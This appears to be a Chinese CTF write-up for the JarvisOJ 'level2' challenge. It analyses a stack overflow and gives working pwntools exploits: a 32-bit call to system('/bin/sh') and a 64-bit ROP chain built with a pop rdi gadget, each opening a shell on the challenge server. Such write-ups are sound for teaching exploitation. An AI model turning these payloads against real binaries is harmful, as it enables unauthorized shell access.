level2

先checksec ,只開了NX

image.png

IDA分析:棧溢出,而且也可以看到是有system函數(shù)的

image.png

shift + F12看一下字符串,發(fā)現(xiàn)也是存在/bin/sh

image.png

于是我們就可以調(diào)用system("/bin/sh")
32位exp:

#-*- coding:utf-8 -*-
from pwn import *
# context.log_level = 'debug'
# p = process('./level2')
p = remote("pwn2.jarvisoj.com","9878")
system = 0x8048320
binsh = 0x804A024
#system("/bin/sh")
payload = 0x8c * "A" + p32(system) + p32(0) + p32(binsh)  #將/bin/sh壓入棧中作為system 的參數(shù)
p.sendline(payload)
p.interactive()

===================================================================================
因為64位程序函數(shù)的前6個參數(shù)是依次放在寄存器rdi、rsi、rdx、rcx、r8和r9中的,所以要調(diào)用system('/bin/sh')首先要將/bin/sh放到rdi寄存器中去,所以就需要找到pop_rdi_ret的gadget來利用

$ ROPgadget --binary level2_x64 --only "pop|ret"
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400560 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004a1 : ret
Unique gadgets found: 11

64位exp:

#-*-coding:utf -8-*-
from pwn import *
# p = process('./level2_x64')
p = remote("pwn2.jarvisoj.com","9882")
system_plt = 0x4004c0
binsh = 0x600a90
pop_rdi = 0x4006b3
payload = 0x88*"A" + p64(pop_rdi) + p64(binsh) + p64(system_plt)
p.sendline(payload) 
p.interactive()
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • checksec查看一下保護(hù)的情況 好的,只開啟了NX,其余的都沒有開啟。進(jìn)入ida,shift+F12發(fā)現(xiàn)了“b...
    poxlove3閱讀 796評論 0 1
  • monkey 本題是一個 c 語言框架的 js執(zhí)行 查看wp的得到提示這個 框架內(nèi)置函數(shù)有 os.system()...
    fantasy_learner閱讀 4,850評論 0 1
  • level2_x64和level2大體上都一樣,唯一的區(qū)別就是一個是64位的,一個是32位的,在做這題之前我們需要...
    yahoo0o0閱讀 725評論 0 0
  • 0x00 一些歪道理 比賽時pwn是肯定pwn不出來的,只有靠賽后復(fù)現(xiàn)才能夠勉強維持得了尊嚴(yán)。不過確實能學(xué)到一些知...
    Fish_o0O閱讀 1,597評論 3 8
  • checksec看一下,沒什么特別的。想起來了就再把checksec復(fù)習(xí)一下吧,checksec,是用來檢查可執(zhí)行...
    poxlove3閱讀 1,242評論 0 0

友情鏈接更多精彩內(nèi)容